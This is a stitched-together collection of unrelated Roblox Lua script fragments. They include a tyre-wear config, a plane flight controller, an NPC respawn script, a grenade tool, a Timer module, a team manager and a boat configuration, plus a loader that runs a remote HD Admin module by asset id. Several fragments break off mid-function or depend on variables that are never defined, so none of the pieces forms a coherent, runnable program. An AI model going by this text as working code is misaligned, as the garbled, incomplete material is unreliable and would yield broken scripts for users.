local _WHEELTUNE = { --[[ SS6 Presets [Eco] WearSpeed = 1, TargetFriction = .7, MinFriction = .1, [Road] WearSpeed = 2, TargetFriction = .7, MinFriction = .1, [Sport] WearSpeed = 3, TargetFriction = .79, MinFriction = .1, ]] TireWearOn = true , --Friction and Wear FWearSpeed = 3 , FTargetFriction = .5 , FMinFriction = .1 , RWearSpeed = 3 , RTargetFriction = .5 , RMinFriction = .1 , --Tire Slip TCSOffRatio = 1/3 , WheelLockRatio = 1/2 , --SS6 Default = 1/4 WheelspinRatio = 1/1.1 , --SS6 Default = 1/1.2 --Wheel Properties FFrictionWeight = 1 , --SS6 Default = 1 RFrictionWeight = 1 , --SS6 Default = 1 FLgcyFrWeight = 10 , RLgcyFrWeight = 10 , FElasticity = .5 , --SS6 Default = .5 RElasticity = .5 , --SS6 Default = .5 FLgcyElasticity = 0 , RLgcyElasticity = 0 , FElastWeight = 1 , --SS6 Default = 1 RElastWeight = 1 , --SS6 Default = 1 FLgcyElWeight = 10 , RLgcyElWeight = 10 , --Wear Regen RegenSpeed = 3.6 --SS6 Default = 3.6 }
-- Welcome to the variable museum:
local player = script.Parent.Parent.Parent local plane,mainParts,animationParts,info,main,move,gryo,seat,landingGear,accel,canCrash,crashForce,crashSpin,crashVisual,maxBank,maxSpeed,speedVary,stallSpeed,throttleInc,altRestrict,altMin,altMax,altSet local desiredSpeed,currentSpeed,realSpeed = 0,0,0 local mouseSave local gearParts = {} local selected,flying,on,dead,gear,throttle = false,false,false,false,true,0 local gui = script.Parent.PlaneGui:clone() local panel = gui.Panel local lowestPoint = 0 local A = math.abs -- Creating a shortcut for the function local keys = { engine={key}; landing = {key}; spdup={byte=0;down=false}; spddwn={byte=0;down=false}; } function waitFor(parent,array) -- Backup system to wait for objects to 'load' if (array) then for _,name in pairs(array) do while (not parent:findFirstChild(name)) do wait() end -- If the object is found right away, no time will be spent waiting. That's why 'while' loops work better than 'repeat' in this case end elseif (parent:IsA("ObjectValue")) then while (not parent.Value) do wait() end end end function fixVars() -- Correct your mistakes to make sure the plane still flies correctly! maxBank = (maxBank < -90 and -90 or maxBank > 90 and 90 or maxBank) throttleInc = (throttleInc < 0.01 and 0.01 or throttleInc > 1 and 1 or throttleInc) stallSpeed = (stallSpeed > maxSpeed and maxSpeed or stallSpeed) accel = (accel < 0.01 and 0.01 or accel > maxSpeed and maxSpeed or accel) altMax = ((altMax-100) < altMin and (altMin+100) or altMax) altMax = (altSet and (altMax+main.Position.y) or altMax) altMin = (altSet and (altMin+main.Position.y) or altMin) keys.engine.key = (keys.engine.key == "" and "e" or keys.engine.key) keys.spdup.byte = (keys.spdup.byte == 0 and 17 or keys.spdup.byte) keys.spddwn.byte = (keys.spddwn.byte == 0 and 18 or keys.spddwn.byte) keys.landing.key = (keys.landing.key == "" and "g" or keys.landing.key) end function getVars() -- Since this plane kit is supposed to make you avoid scripting altogether, I have to go the extra mile and write a messy function to account for all those object variables plane = script.Parent.Plane.Value waitFor(plane,{"MainParts","OtherParts","AnimationParts","EDIT_THESE","Dead"}) mainParts,info = plane.MainParts,plane.EDIT_THESE animationParts = plane.AnimationParts waitFor(mainParts,{"Main","MainSeat","LandingGear"}) main,seat,landingGear = mainParts.Main,mainParts.MainSeat,mainParts.LandingGear waitFor(main,{"Move","Gyro"}) move,gyro = main.Move,main.Gyro accel,canCrash,crashForce,crashSpin,crashVisual,maxBank,maxSpeed,speedVary,stallSpeed,throttleInc,altRestrict,altMin,altMax,altSet = -- Quickest way to assign tons of variables A(info.Acceleration.Value),info.CanCrash.Value,A(info.CanCrash.Force.Value),info.CanCrash.SpinSpeed.Value,info.CanCrash.VisualFX.Value, info.MaxBank.Value,A(info.MaxSpeed.Value),A(info.SpeedDifferential.Value),A(info.StallSpeed.Value),A(info.ThrottleIncrease.Value), info.AltitudeRestrictions.Value,info.AltitudeRestrictions.MinAltitude.Value,info.AltitudeRestrictions.MaxAltitude.Value,info.AltitudeRestrictions.SetByOrigin.Value keys.engine.key = info.Hotkeys.Engine.Value:gmatch("%a")():lower() keys.landing.key = info.Hotkeys.Gear.Value:gmatch("%a")():lower() local sU,sD = info.Hotkeys.SpeedUp.Value:lower(),info.Hotkeys.SpeedDown.Value:lower() keys.spdup.byte = (sU == "arrowkeyup" and 17 or sU == "arrowkeydown" and 18 or sU:gmatch("%a")():byte()) -- Ternary operations use logical figures to avoid 'if' statements keys.spddwn.byte = (sD == "arrowkeyup" and 17 or sD == "arrowkeydown" and 18 or sD:gmatch("%a")():byte()) fixVars() plane.Dead.Changed:connect(function() if ((plane.Dead.Value) and (not dead)) then -- DIE! dead,flying,on = true,false,false main.Fire.Enabled,main.Smoke.Enabled = info.CanCrash.VisualFX.Value,info.CanCrash.VisualFX.Value move.maxForce = Vector3.new(0,0,0) gyro.D = 1e3 while ((selected) and (not plane.Dead.Stop.Value)) do gyro.cframe = (gyro.cframe*CFrame.Angles(0,0,math.rad(crashSpin))) wait() end end end) end function getGear(parent) -- Very common way to scan through every descendant of a model: for _,v in pairs(parent:GetChildren()) do if (v:IsA("BasePart")) then local t,r,c = Instance.new("NumberValue",v),Instance.new("NumberValue",v),Instance.new("BoolValue",v) -- Saving original properties t.Name,r.Name,c.Name = "Trans","Ref","Collide" t.Value,r.Value,c.Value = v.Transparency,v.Reflectance,v.CanCollide table.insert(gearParts,v) end getGear(v) end end function getLowestPoint() -- Plane will use LowestPoint to determine where to look to make sure the plane is either flying or on the ground if (#gearParts == 0) then lowestPoint = (main.Position.y+5+(main.Size.y/2)) return end for _,v in pairs(gearParts) do -- Not very efficient, but it basically does what I designed it to do: local _0 = (main.Position.y-(v.CFrame*CFrame.new((v.Size.x/2),0,0)).y) local _1 = (main.Position.y-(v.CFrame*CFrame.new(-(v.Size.x/2),0,0)).y) local _2 = (main.Position.y-(v.CFrame*CFrame.new(0,(v.Size.y/2),0)).y) local _3 = (main.Position.y-(v.CFrame*CFrame.new(0,-(v.Size.y/2),0)).y) local _4 = (main.Position.y-(v.CFrame*CFrame.new(0,0,(v.Size.z/2))).y) local _5 = (main.Position.y-(v.CFrame*CFrame.new(0,0,-(v.Size.z/2))).y) local n = (math.max(_0,_1,_2,_3,_4,_5)+5) lowestPoint = (n > lowestPoint and n or lowestPoint) end end function guiSetup() -- Setting up the GUI buttons and such local cur = 0 panel.Controls.Position = UDim2.new(0,0,0,-(panel.Controls.AbsolutePosition.y+panel.Controls.AbsoluteSize.y)) panel.ControlsButton.MouseButton1Click:connect(function() cur = (cur == 0 and 1 or 0) if (cur == 0) then panel.Controls:TweenPosition(UDim2.new(0,0,0,-(panel.Controls.AbsolutePosition.y+panel.Controls.AbsoluteSize.y)),"In","Sine",0.35) else panel.Controls.Visible = true panel.Controls:TweenPosition(UDim2.new(0,0,1.5,0),"Out","Back",0.5) end end) panel.Controls.C1.Text = (keys.engine.key:upper() .. " Key") panel.Controls.C2.Text = (keys.spdup.byte == 17 and "UP Arrow Key" or keys.spdup.byte == 18 and "DOWN Arrow Key" or (string.char(keys.spdup.byte):upper() .. " Key")) panel.Controls.C3.Text = (keys.spddwn.byte == 17 and "UP Arrow Key" or keys.spddwn.byte == 18 and "DOWN Arrow Key" or (string.char(keys.spddwn.byte):upper() .. " Key")) panel.Controls.C4.Text = (keys.landing.key:upper() .. " Key") end waitFor(script.Parent,{"Plane","Deselect0","Deselect1","CurrentSelect"}) waitFor(script.Parent.Plane) getVars() getGear(landingGear) getLowestPoint() guiSetup() if (script.Parent.Active) then script.Parent.Name = "RESELECT" while (script.Parent.Active) do wait() end end script.Parent.Name = "Plane" function changeGear() gear = (not gear) for _,v in pairs(gearParts) do v.Transparency,v.Reflectance,v.CanCollide = (gear and v.Trans.Value or 1),(gear and v.Ref.Value or 0),(gear and v.Collide.Value or false) -- Learning how to code like this is extremely useful end end function updateGui(taxiing,stalling) panel.Off.Visible = (not on) panel.Taxi.Visible,panel.Stall.Visible = taxiing,(not taxiing and stalling) if ((realSpeed > -10000) and (realSpeed < 10000)) then panel.Speed.Value.Text = tostring(math.floor(realSpeed+0.5)) end panel.Altitude.Value.Text = tostring(math.floor(main.Position.y+0.5)) panel.Throttle.Bar.Amount.Size = UDim2.new(throttle,0,1,0) end function taxi() -- Check to see if the plane is on the ground or not return (currentSpeed <= stallSpeed and game.Workspace:findPartOnRay(Ray.new(main.Position,Vector3.new(0,-lowestPoint,0)),plane)) -- Make sure plane is on a surface end function stall() -- Originally set as a giant ternary operation, but got WAY too complex, so I decided to break it down for my own sanity if ((altRestrict) and (main.Position.y > altMax)) then return true end local diff = ((realSpeed-stallSpeed)/200) diff = (diff > 0.9 and 0.9 or diff) local check = { -- Table placed here so I could easily add new 'checks' at ease. If anything in this table is 'true,' then the plane will be considered to be taxiing (currentSpeed <= stallSpeed); (main.CFrame.lookVector.y > (realSpeed < stallSpeed and -1 or -diff)); } for _,c in pairs(check) do if (not c) then return false end end return true end function fly(m) -- Main function that controls all of the flying stuff. Very messy. flying = true local pos,t = main.Position,time() local lastStall = false while ((flying) and (not dead)) do --realSpeed = ((pos-main.Position).magnitude/(time()-t)) -- Calculate "real" speed realSpeed = main.Velocity.Magnitude pos,t = main.Position,time() local max = (maxSpeed+(-main.CFrame.lookVector.y*speedVary)) -- Speed variety based on the pitch of the aircraft desiredSpeed = (max*(on and throttle or 0)) -- Find speed based on throttle local change = (desiredSpeed > currentSpeed and 1 or -1) -- Decide between accelerating or decelerating currentSpeed = (currentSpeed+(accel*change)) -- Calculate new speed
--[[ -- Чтение построек в игроке -- Изменение и сохранение тут (точней на автомате меняется таблица объектов построек игрока) ]]
build = {}
--[[ By: Brutez. Script Fixed By Xcorrectgamermaster ]]
-- local PlayerSpawning=false; --[[ Change this to true if you want the NPC to spawn like a player, and change this to false if you want the NPC to spawn at it's current position. ]]-- local AdvancedRespawnScript=script; repeat wait(0)until script and script.Parent and script.Parent.ClassName=="Model"; local JeffTheKiller=AdvancedRespawnScript.Parent; local GameDerbis=game:GetService("Debris"); local JeffTheKillerHumanoid; for _,Child in pairs(JeffTheKiller:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then JeffTheKillerHumanoid=Child; end; end; local Respawndant=JeffTheKiller:Clone(); if PlayerSpawning then --[[ LOOK AT LINE: 2. ]]-- coroutine.resume(coroutine.create(function() if JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid:FindFirstChild("Status")and not JeffTheKillerHumanoid:FindFirstChild("Status"):FindFirstChild("AvalibleSpawns")then SpawnModel=Instance.new("Model"); SpawnModel.Parent=JeffTheKillerHumanoid.Status; SpawnModel.Name="AvalibleSpawns"; else SpawnModel=JeffTheKillerHumanoid:FindFirstChild("Status"):FindFirstChild("AvalibleSpawns"); end; function FindSpawn(SearchValue) local PartsArchivable=SearchValue:GetChildren(); for AreaSearch=1,#PartsArchivable do if PartsArchivable[AreaSearch].className=="SpawnLocation"then local PositionValue=Instance.new("Vector3Value",SpawnModel); PositionValue.Value=PartsArchivable[AreaSearch].Position; PositionValue.Name=PartsArchivable[AreaSearch].Duration; end; FindSpawn(PartsArchivable[AreaSearch]); end; end; FindSpawn(game:GetService("Workspace")); local SpawnChilden=SpawnModel:GetChildren(); if#SpawnChilden>0 then local SpawnItself=SpawnChilden[math.random(1,#SpawnChilden)]; local RespawningForceField=Instance.new("ForceField"); RespawningForceField.Parent=JeffTheKiller; RespawningForceField.Name="SpawnForceField"; GameDerbis:AddItem(RespawningForceField,SpawnItself.Name); JeffTheKiller:MoveTo(SpawnItself.Value+Vector3.new(0,3.5,0)); else if JeffTheKiller:FindFirstChild("SpawnForceField")then JeffTheKiller:FindFirstChild("SpawnForceField"):Destroy(); end; JeffTheKiller:MoveTo(Vector3.new(0,115,0)); end; end)); end; function Respawn() wait(10); Respawndant.Parent=JeffTheKiller.Parent; Respawndant:makeJoints(); Respawndant:FindFirstChild("Head"):MakeJoints(); Respawndant:FindFirstChild("Torso"):MakeJoints(); JeffTheKiller:remove(); end; if AdvancedRespawnScript and JeffTheKiller and JeffTheKillerHumanoid then JeffTheKillerHumanoid.Died:Connect(Respawn); end;
-- A simple function to explode a specified part
function Explode(part) local explosion = Instance.new("Explosion", workspace) explosion.Position = part.Position explosion.BlastRadius = config.ExplosionRadius.Value part:Destroy() end script.Parent.Throw.OnServerEvent:connect(function(player, mousePosition) local handlePos = Vector3.new(tool.Handle.Position.X, 0, tool.Handle.Position.Z) -- remove Y from the equation, it's not needed local mousePos = Vector3.new(mousePosition.X, 0, mousePosition.Z) -- ditto local distance = (handlePos - mousePos).magnitude -- Get the distance between the handle and the mouse local altitude = mousePosition.Y - tool.Handle.Position.Y local angle = AngleOfReach(distance, altitude, config.GrenadeVelocity.Value) -- Calculate the angle tool.Handle.Transparency = 1 local grenade = tool.Handle:Clone() grenade.Parent = workspace grenade.Transparency = 0 grenade.CanCollide = true grenade.CFrame = tool.Handle.CFrame grenade.Velocity = (CFrame.new(grenade.Position, Vector3.new(mousePosition.X, grenade.Position.Y, mousePosition.Z)) * CFrame.Angles(angle, 0, 0)).lookVector * config.GrenadeVelocity.Value -- Throwing 'n stuff, it probably didn't need to be this long spawn(function() if config.ExplodeOnTouch.Value then grenade.Touched:connect(function(hit) if hit.Parent ~= tool.Parent and hit.CanCollide then -- Make sure what we're hitting is collidable Explode(grenade) end end) else wait(config.FuseTime.Value) Explode(grenade) end end) wait(config.Cooldown.Value) tool.Handle.Transparency = 0 end)
--connection
function onSelected(mouse) local c = game.Players.LocalPlayer:GetChildren() for i = 1,#c do if c[i].className == "Message" or c[i].className == "Hint" then c[i]:Remove() end end if (punchload == false) then mouse.Icon = "rbxasset://textures\\GunCursor.png" end if (punchload == true) then mouse.Icon = "rbxasset://textures\\GunWaitCursor.png" end mouse.Button1Down:connect(function() FalconPUUUNCH(mouse) end) end bin.Selected:connect(onSelected)
--[=[ Gets the default pseudo locale string. @return string ]=]
function PseudoLocalize.getDefaultPseudoLocaleId() return DEFAULT_PSEUDO_LOCALE_ID end
-- Created by Quenty
wait(1) local Configuration = { MaxSpeed = 30; Acceleration = 5; -- Will always be a little bit less than this because ROBLOX characters will add mass. Also, friction. MaxRotationCorrectionAcceleration = math.pi/40; -- I wouldn't touch this. -- math.pi/10 -- Correct for 18 degrees every.... second? PercentExtraCargo = 0.005; -- Compared to boat's mass (weight), how much extra cargo can it support (irncludes characters) before it starts sinking. TurnAccelerationFactor = 150; -- E_e No idea why this is 500. MaxTurnSpeed = 2.5; -- RotVelocity will probably never get to this. MaxShipTiltInRadians = math.pi/8; TiltRatioFactor = 0.01; -- Don't touch this. Used because the BodyAngularVelocity "can't even" when it comes to reaching desired velocity. AmplitudeOfWaves = 2.5; -- How far up/down the boat moves in the waves. (Amplitude, so if you physics, you realize it can move this magnitude away from the starting point, either up, or down). MaxShipYawInRadians = math.pi/120; -- Yaws in the waves AddedYawOnSpeed = math.pi/80; WaterLevel = 39; } local function WaitForChild(Parent, Name, TimeLimit) -- Waits for a child to appear. Not efficient, but it shoudln't have to be. It helps with debugging. -- Useful when ROBLOX lags out, and doesn't replicate quickly. -- @param TimeLimit If TimeLimit is given, then it will return after the timelimit, even if it hasn't found the child. assert(Parent ~= nil, "Parent is nil") assert(type(Name) == "string", "Name is not a string.") local Child = Parent:FindFirstChild(Name) local StartTime = tick() local Warned = false while not Child and Parent do wait(0) Child = Parent:FindFirstChild(Name) if not Warned and StartTime + (TimeLimit or 5) <= tick() then Warned = true warn("Infinite yield possible for WaitForChild(" .. Parent:GetFullName() .. ", " .. Name .. ")") if TimeLimit then return Parent:FindFirstChild(Name) end end end if not Parent then warn("Parent became nil.") end return Child end local function Modify(Instance, Values) -- Modifies an Instance by using a table. for Index, Value in next, Values do if type(Index) == "number" then Value.Parent = Instance else Instance[Index] = Value end end return Instance end local function Make(ClassType, Properties) -- Using a syntax hack to create a nice way to Make new items. return Modify(Instance.new(ClassType), Properties) end local Signal = {} function Signal.new() local sig = {} local mSignaler = Instance.new('BindableEvent') local mArgData = nil local mArgDataCount = nil function sig:fire(...) mArgData = {...} mArgDataCount = select('#', ...) mSignaler:Fire() end function sig:connect(f) if not f then error("connect(nil)", 2) end return mSignaler.Event:connect(function() f(unpack(mArgData, 1, mArgDataCount)) end) end function sig:wait() mSignaler.Event:wait() assert(mArgData, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.") return unpack(mArgData, 1, mArgDataCount) end return sig end local function WeldTogether(Part0, Part1, JointType, WeldParent) --- Weld's 2 parts together -- @param Part0 The first part -- @param Part1 The second part (Dependent part most of the time). -- @param [JointType] The type of joint. Defaults to weld. -- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better). -- @return The weld created. JointType = JointType or "Weld" local NewWeld = Make(JointType, { Part0 = Part0; Part1 = Part1; C0 = CFrame.new();--Part0.CFrame:inverse(); C1 = Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse(); Parent = WeldParent or Part0; }) return NewWeld end local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor) -- @param Parts The Parts to weld. Should be anchored to prevent really horrible results. -- @param MainPart The part to weld the model to (can be in the model). -- @param [JointType] The type of joint. Defaults to weld. -- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion. for _, Part in pairs(Parts) do WeldTogether(MainPart, Part, JointType, MainPart) end if not DoNotUnanchor then for _, Part in pairs(Parts) do Part.Anchored = false end MainPart.Anchored = false end end local function CallOnChildren(Instance, FunctionToCall) -- Calls a function on each of the children of a certain object, using recursion. FunctionToCall(Instance) for _, Child in next, Instance:GetChildren() do CallOnChildren(Child, FunctionToCall) end end local function GetBricks(StartInstance) local List = {} -- if StartInstance:IsA("BasePart") then -- List[#List+1] = StartInstance -- end CallOnChildren(StartInstance, function(Item) if Item:IsA("BasePart") then List[#List+1] = Item; end end) return List; end local function GetBricksWithIgnoreFunction(StartInstance, DoIgnore) --- Get's the bricks in a model, but will not get a brick that is "NoInclude" local List = {} CallOnChildren(StartInstance, function(Item) if Item:IsA("BasePart") and not DoIgnore(Item) then List[#List+1] = Item end end) return List end local function GetCharacter(Descendant) -- Returns the Player and Charater that a descendent is part of, if it is part of one. -- @param Descendant A child of the potential character. local Charater = Descendant local Player = Players:GetPlayerFromCharacter(Charater) while not Player do if Charater.Parent then Charater = Charater.Parent Player = Players:GetPlayerFromCharacter(Charater) else return nil end end return Charater, Player end local MakeMaid do local index = { GiveTask = function(self,task) local n = #self.Tasks+1 self.Tasks[n] = task return n end; DoCleaning = function(self) local tasks = self.Tasks for name,task in pairs(tasks) do if type(task) == 'function' then task() else task:disconnect() end tasks[name] = nil end -- self.Tasks = {} end; }; local mt = { __index = function(self,k) if index[k] then return index[k] else return self.Tasks[k] end end; __newindex = function(self,k,v) local tasks = self.Tasks if v == nil then -- disconnect if the task is an event if type(tasks[k]) ~= 'function' then tasks[k]:disconnect() end elseif tasks[k] then -- clear previous task self[k] = nil end tasks[k] = v end; } function MakeMaid() return setmetatable({Tasks={},Instances={}},mt) end end local function CheckPlayer(Player) --- Makes sure a player has all necessary components. -- @return Boolean If the player has all the right components return Player and Player:IsA("Player") end local function CheckCharacter(Player) -- Makes sure a character has all the right "parts" if CheckPlayer(Player) then local Character = Player.Character; if Character then return Character.Parent and Character:FindFirstChild("Humanoid") and Character:FindFirstChild("HumanoidRootPart") and Character:FindFirstChild("Torso") and Character:FindFirstChild("Head") and Character.Humanoid:IsA("Humanoid") and Character.Head:IsA("BasePart") and Character.Torso:IsA("BasePart") and true end else print("[CheckCharacter] - Character Check failed!") end return nil end local function GetCenterOfMass(Parts) --- Return's the world vector center of mass. -- Lots of help from Hippalectryon :D local TotalMass = 0 local SumOfMasses = Vector3.new(0, 0, 0) for _, Part in pairs(Parts) do -- Part.BrickColor = BrickColor.new("Bright yellow") TotalMass = TotalMass + Part:GetMass() SumOfMasses = SumOfMasses + Part:GetMass() * Part.Position end -- print("Sum of masses: " .. tostring(SumOfMasses)) -- print("Total mass: " .. tostring(TotalMass)) return SumOfMasses/TotalMass, TotalMass end
--[[ timer = Timer.new(interval: number [, janitor: Janitor]) connection = Timer.Simple(interval: number, callback: () -> void [, updateSignal: Signal = Heartbeat, timeFunc: () -> number = time]) timer.Tick: Signal timer.Interval: number timer.UpdateSignal: Signal timer.TimeFunction: () -> number timer.AllowDrift: boolean timer:Start() timer:StartNow() timer:Stop() timer:Destroy() ------------------------------------ local timer = Timer.new(2) timer.Tick:Connect(function() print("Tock") end) timer:Start() Timer.Simple(2, function() print("Tock") end) --]]
type CallbackFunc = () -> nil type TimeFunc = () -> number local Signal = require(script.Parent.Signal) local RunService = game:GetService("RunService") local Timer = {} Timer.__index = Timer function Timer.new(interval: number, janitor) assert(type(interval) == "number", "Argument #1 to Timer.new must be a number; got " .. type(interval)) assert(interval >= 0, "Argument #1 to Timer.new must be greater or equal to 0; got " .. tostring(interval)) local self = setmetatable({}, Timer) self._runHandle = nil self.Interval = interval self.UpdateSignal = RunService.Heartbeat self.TimeFunction = time self.AllowDrift = true self.Tick = Signal.new() if janitor then janitor:Add(self) end return self end function Timer.Simple(interval: number, callback: CallbackFunc, startNow: boolean?, updateSignal: RBXScriptSignal?, timeFunc: TimeFunc?) local update = updateSignal or RunService.Heartbeat local t = timeFunc or time local nextTick = t() + interval if startNow then task.defer(callback) end return update:Connect(function() local now = t() if now >= nextTick then nextTick = now + interval task.defer(callback) end end) end function Timer.Is(obj: any): boolean return type(obj) == "table" and getmetatable(obj) == Timer end function Timer:_startTimer() local t = self.TimeFunction local nextTick = t() + self.Interval self._runHandle = self.UpdateSignal:Connect(function() local now = t() if now >= nextTick then nextTick = now + self.Interval self.Tick:Fire() end end) end function Timer:_startTimerNoDrift() assert(self.Interval > 0, "Interval must be greater than 0 when AllowDrift is set to false") local t = self.TimeFunction local n = 1 local start = t() local nextTick = start + self.Interval self._runHandle = self.UpdateSignal:Connect(function() local now = t() while now >= nextTick do n += 1 nextTick = start + (self.Interval * n) self.Tick:Fire() end end) end function Timer:Start() if self._runHandle then return end if self.AllowDrift then self:_startTimer() else self:_startTimerNoDrift() end end function Timer:StartNow() if self._runHandle then return end self.Tick:Fire() self:Start() end function Timer:Stop() if not self._runHandle then return end self._runHandle:Disconnect() self._runHandle = nil end function Timer:Destroy() self.Tick:Destroy() self:Stop() end return Timer
--[[ This loads HD Admin into your game. Require the 'HD Admin MainModule' by the HD Admin group for automatic updates. You can view the HD Admin Main Module here: https://www.roblox.com/library/3239236979/HD --]]
local loaderFolder = script.Parent.Parent local mainModule = require(3239236979) mainModule:Initialize(loaderFolder) loaderFolder:Destroy()
--[Funkcje]
function onClicked() if legansio == true then sl7.Material = "Plastic" sp7.Material = "Plastic" sl7.SurfaceLight.Enabled = false sp7.SurfaceLight.Enabled = false wait(2) sp7.Transparency = 1 sl7.Transparency = 1 p7.Transparency = 1 l7.Transparency = 1 sp6.Transparency = 0 sl6.Transparency = 0 l6.Transparency = 0 p6.Transparency = 0 wait(0.1) p6.Transparency = 1 l6.Transparency = 1 sl6.Transparency = 1 sp6.Transparency = 1 sp5.Transparency = 0 sl5.Transparency = 0 l5.Transparency = 0 p5.Transparency = 0 wait(0.1) p5.Transparency = 1 l5.Transparency = 1 sp5.Transparency = 1 sl5.Transparency = 1 sp4.Transparency = 0 sl4.Transparency = 0 l4.Transparency = 0 p4.Transparency = 0 wait(0.1) p4.Transparency = 1 l4.Transparency = 1 sp4.Transparency = 1 sl4.Transparency = 1 sp3.Transparency = 0 sl3.Transparency = 0 l3.Transparency = 0 p3.Transparency = 0 wait(0.1) p3.Transparency = 1 l3.Transparency = 1 sp3.Transparency = 1 sl3.Transparency = 1 sp2.Transparency = 0 sl2.Transparency = 0 l2.Transparency = 0 p2.Transparency = 0 wait(0.1) p2.Transparency = 1 l2.Transparency = 1 sp2.Transparency = 1 sl2.Transparency = 1 sp1.Transparency = 0 sl1.Transparency = 0 l1.Transparency = 0 p1.Transparency = 0 wait(1) q1.Transparency = 1 p1.Transparency = 1 l1.Transparency = 1 sp1.Transparency = 1 sl1.Transparency = 1 wait(0.1) s1.Transparency = 0 wait(1) g14.Transparency = 0 s1.Transparency = 1 pala7.Transparency = 1 wait(0.1) g14.Transparency = 1 g13.Transparency = 0 wait(0.1) g13.Transparency = 1 g12.Transparency = 0 wait(0.1) g12.Transparency = 1 g11.Transparency = 0 wait(0.1) g11.Transparency = 1 pala6.Transparency = 1 g10.Transparency = 0 wait(0.1) g10.Transparency = 1 g9.Transparency = 0 wait(0.1) g9.Transparency = 1 g8.Transparency = 0 wait(0.1) g8.Transparency = 1 pala5.Transparency = 1 g7.Transparency = 0 wait(0.1) g7.Transparency = 1 g6.Transparency = 0 wait(0.1) g6.Transparency = 1 g5.Transparency = 0 pala4.Transparency = 1 wait(0.1) g5.Transparency = 1 g4.Transparency = 0 wait(0.1) g4.Transparency = 1 g3.Transparency = 0 pala3.Transparency = 1 wait(0.1) g3.Transparency = 1 g2.Transparency = 0 wait(0.1) pala2.Transparency = 1 g2.Transparency = 1 g1.Transparency = 0 end end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--Audio
local soundBank = game.ReplicatedStorage.Sounds.NPC.Gobbler:GetChildren() critter.Health.Changed:connect(function() local hitSound = soundBank[math.random(1,#soundBank)]:Clone() hitSound.Parent = critter.PrimaryPart hitSound.PlayOnRemove = true wait() hitSound:Destroy() end) while true do bp.Parent = critter.PrimaryPart local goal repeat local ray = Ray.new(Vector3.new(origin.p.x+math.random(-tether,tether), critter.PrimaryPart.Position.Y+100, origin.p.z+math.random(-tether,tether)),Vector3.new(0,-130,0)) local part,pos,norm,mat = workspace:FindPartOnRay(ray,critter) if part == workspace.Terrain and mat ~= Enum.Material.Water then goal = pos+Vector3.new(0,2.25,0) end wait() until goal --Set new goal for critter to MoveTo :) walk:Play() local pos = critter.PrimaryPart.Position local cf = CFrame.new(Vector3.new(pos.X, 0, pos.Z), Vector3.new(goal.X, 0, goal.Z)) bg.CFrame = cf bp.Position = (cf*CFrame.new(0,0,-100)).p local start = tick() repeat wait(.5) local ray = Ray.new(critter.PrimaryPart.Position, Vector3.new(0,-140,0)) until (critter.PrimaryPart.Position-goal).magnitude < 10 or tick()-start >10 walk:Stop() bp.Parent = nil wait(math.random(3,8)) end
-- Class
local ViewportWindow = {} ViewportWindow.__index = ViewportWindow
-- Functions
function TeamManager:CreateTeams() local newTeam = Instance.new("Team", game.Teams) newTeam.TeamColor = BrickColor.new("Bright red") TeamPlayers[newTeam] = {} TeamScores[newTeam] = 0 newTeam = Instance.new("Team", game.Teams) newTeam.TeamColor = BrickColor.new("Bright blue") TeamPlayers[newTeam] = {} TeamScores[newTeam] = 0 end function TeamManager:CreateFFATeam() local newTeamColor = BrickColor.Random() while GetTeamFromColor(newTeamColor) do newTeamColor = BrickColor.Random() end local newTeam = Instance.new("Team", game.Teams) newTeam.TeamColor = newTeamColor TeamPlayers[newTeam] = {} TeamScores[newTeam] = 0 return newTeam end function TeamManager:AssignPlayerToTeam(player) local smallestTeam local lowestCount = math.huge for team, playerList in pairs(TeamPlayers) do if #playerList < lowestCount then smallestTeam = team lowestCount = #playerList end end if not Configurations.TEAMS and (not smallestTeam or #TeamPlayers[smallestTeam] > 0) then smallestTeam = TeamManager:CreateFFATeam() end table.insert(TeamPlayers[smallestTeam], player) player.Neutral = false player.TeamColor = smallestTeam.TeamColor end function TeamManager:RemovePlayer(player) local team = GetTeamFromColor(player.TeamColor) local teamTable = TeamPlayers[team] for i = 1, #teamTable do if teamTable[i] == player then table.remove(teamTable, i) if not Configurations.TEAMS then team:Destroy() end return end end end function TeamManager:ClearTeamScores() for _, team in pairs(Teams:GetTeams()) do TeamScores[team] = 0 if Configurations.TEAMS then DisplayManager:UpdateScore(team, 0) end end end function TeamManager:AddTeamScore(teamColor, score) local team = GetTeamFromColor(teamColor) TeamScores[team] = TeamScores[team] + score if Configurations.TEAMS then DisplayManager:UpdateScore(team, TeamScores[team]) end end function TeamManager:HasTeamWon() for _, team in pairs(Teams:GetTeams()) do if TeamScores[team] >= Configurations.POINTS_TO_WIN then return team end end return false end function TeamManager:GetWinningTeam() local highestScore = 0 local winningTeam = nil for _, team in pairs(Teams:GetTeams()) do if TeamScores[team] > highestScore then highestScore = TeamScores[team] winningTeam = team end end return winningTeam end function TeamManager:AreTeamsTied() local teams = Teams:GetTeams() local highestScore = 0 local tied = false for _, team in pairs(teams) do if TeamScores[team] == highestScore then tied = true elseif TeamScores[team] > highestScore then tied = false highestScore = TeamScores[team] end end return tied end function TeamManager:ShuffleTeams() for _, team in pairs(Teams:GetTeams()) do TeamPlayers[team] = {} end local players = Players:GetPlayers() while #players > 0 do local rIndex = math.random(1, #players) local player = table.remove(players, rIndex) TeamManager:AssignPlayerToTeam(player) end end
--[[ Provides an API to use when referencing a Player's character to make sure it is "Fully loaded", which is defined as: 1) Character is a descendant of workspace 2) Character has a PrimaryPart set 3) Character contains a child which is a Humanoid 4) The Humanoid's RootPart property is not nil This differs from Player.CharacterAdded and Player.CharacterAppearanceLoaded which fire before a character is parented to workspace and does not guarantee these other conditions. This loaded event won't be necessary once the Player.CharacterAdded is moved to the end of the event call stack, per https://devforum.roblox.com/t/avatar-loading-event-ordering-improvements/269607 This wrapper provides a died event when the first of the following happens: 1) Humanoid's .Died event fires 2) Character is removed We need this because there are some cases where a character can be removed without the humanoid dying, such as if :LoadCharacter() is called before a character dies. Cleanup code often needs to run when a character's "lifespan" is over, whether it be because the humanoid died or because the character is removed. To avoid having to connect to both events in multiple places, this wrapper moves both events into one. --]]
